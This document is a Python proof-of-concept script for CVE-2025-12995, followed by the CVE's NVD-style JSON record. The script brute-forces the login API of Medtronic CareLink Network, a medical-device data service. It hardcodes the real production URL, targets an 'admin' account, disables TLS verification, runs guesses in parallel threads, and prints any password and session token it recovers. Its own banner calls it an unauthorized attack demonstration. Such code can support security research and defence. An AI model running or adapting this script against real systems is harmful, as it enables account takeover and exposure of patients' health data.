CVE-2025-12995

#!/usr/bin/env python3 """ CVE-2025-12995 PoC - Medtronic CareLink Network Brute Force Attack This PoC demonstrates the vulnerability in CareLink Network API authentication. For authorized security testing only. """ import requests import sys import time from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://carelink.medtronic.com/api/v1/auth/login" USERNAME = "admin" # Target username MAX_ATTEMPTS = 100 THREADS = 5 def attempt_login(password): """Attempt login with given credentials""" try: payload = { "username": USERNAME, "password": password.strip() } response = requests.post( TARGET_URL, json=payload, timeout=10, verify=False ) # Check for successful login indicators if response.status_code == 200: data = response.json() if "token" in data or "session" in data: print(f"[+] SUCCESS! Valid credentials found:") print(f" Username: {USERNAME}") print(f" Password: {password.strip()}") print(f" Token: {data.get('token', 'N/A')}") return True # Log failed attempt print(f"[-] Failed attempt: {password.strip()}") return False except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") return False def main(): print("=" * 60) print("CVE-2025-12995 PoC - Medtronic CareLink Network") print("Unauthorized brute force attack demonstration") print("=" * 60) # Load password list password_list = [] try: with open('passwords.txt', 'r') as f: password_list = f.readlines()[:MAX_ATTEMPTS] except FileNotFoundError: # Common passwords for demonstration password_list = [ 'password', 'admin', '123456', 'medtronic', 'CareLink', 'patient', 'doctor', 'default' ] print(f"[*] Starting brute force attack on {TARGET_URL}") print(f"[*] Target username: {USERNAME}") print(f"[*] Passwords to try: {len(password_list)}") print("-" * 60) # Execute brute force attack with ThreadPoolExecutor(max_workers=THREADS) as executor: results = list(executor.map(attempt_login, password_list)) if any(results): print("\n[!] Vulnerability confirmed - valid credentials obtained") sys.exit(0) else: print("\n[*] No valid credentials found in this run") sys.exit(1) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-12995", "sourceIdentifier": "[email protected]", "published": "2025-12-04T20:16:17.197", "lastModified": "2025-12-22T18:09:59.503", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Medtronic CareLink Network allows an unauthenticated remote attacker to perform a brute force attack on an API endpoint that could be used to determine a valid password under certain circumstances. This issue affects CareLink Network: before December 4, 2025."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:medtronic:carelink_network:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-12-04", "matchCriteriaId": "F732E0FA-C285-4923-873F-3080AC1032F8"}]}]}], "references": [{"url": "https://www.medtronic.com/en-us/e/product-security/security-bulletins/carelink-network-vulnerabilities.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}